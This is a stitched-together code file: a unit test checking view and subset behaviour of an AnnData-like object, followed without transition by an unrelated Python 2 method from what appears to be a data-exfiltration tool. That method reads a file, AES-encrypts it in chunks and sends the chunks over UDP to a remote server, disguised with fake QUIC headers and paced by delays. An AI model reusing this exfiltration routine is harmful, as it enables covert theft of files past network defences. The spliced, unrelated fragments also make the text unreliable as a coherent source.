def test_set_obsm(adata):
    init_hash = joblib.hash(adata)

    dim0_size = np.random.randint(2, adata.shape[0] - 1)
    dim1_size = np.random.randint(1, 99)
    orig_obsm_val = adata.obsm["o"].copy()
    subset_idx = np.random.choice(adata.obs_names, dim0_size, replace=False)

    subset = adata[subset_idx, :]
    assert subset.is_view
    subset.obsm = dict(o=np.ones((dim0_size, dim1_size)))
    assert not subset.is_view
    assert np.all(orig_obsm_val == adata.obsm["o"])  # Checking for mutation
    assert np.all(subset.obsm["o"] == np.ones((dim0_size, dim1_size)))

    subset = adata[subset_idx, :]
    subset_hash = joblib.hash(subset)
    with pytest.raises(ValueError):
        subset.obsm = dict(o=np.ones((dim0_size + 1, dim1_size)))
    with pytest.raises(ValueError):
        subset.varm = dict(o=np.ones((dim0_size - 1, dim1_size)))
    assert subset_hash == joblib.hash(subset)

    # Only modification have been made to a view
    assert init_hash == joblib.hash(adata)
def sendFile(self, file_path):

        # Get File content
        data = self._getFileContent(file_path)
        if data == 1:
            return 1

        # Check that the file is not too big.
        if len(data) > (self.max_packets * self.max_size):
            sys.stderr.write("[!]\tFile is too big for export.\n")
            return 1

        # If the file is not too big, start exfiltration

        # Exfiltrate first packet
        md5_sum = md5(file_path)                                          # Get MD5 sum of file
        packets_count = (len(data) / self.max_size)+1                     # Total packets
        first_packet = self._getQUICHeader(count=0)                       # Get header for first file
        r_data = "%s;%s;%s" % (file_path, md5_sum, packets_count)         # First header
        r_data = self.AESDriver.encrypt(r_data)                           # Encrypt data
        self.sock.sendto(first_packet + r_data, self.serv_addr)           # Send the data
        sys.stdout.write("[+]\tSent initiation packet.\n")

        # encrypted_content = self.AESDriver.encrypt(data)

        # Encrypt the Chunks
        raw_dat = ""
        chunks = []
        while data:
            raw_dat += data[:self.max_size]
            enc_chunk = self.AESDriver.encrypt(data[:self.max_size])
            print len(enc_chunk)
            chunks.append(enc_chunk)
            data = data[self.max_size:]

        i = 1
        for chunk in chunks:
            this_data = self._getQUICHeader(count=i)
            this_data += chunk
            self.sock.sendto(this_data, self.serv_addr)
            time.sleep(self.delay)
            sys.stdout.write("[+]\tSent chunk %s/%s.\n" % (i, packets_count))
            i += 1

        sys.stdout.write("[+]\tFinished sending file '%s' to '%s:%s'.\n" % (file_path, self.host, self.port))
        # self.sequence = struct.pack('<' + 'L'*len(parts), *parts)

        return 0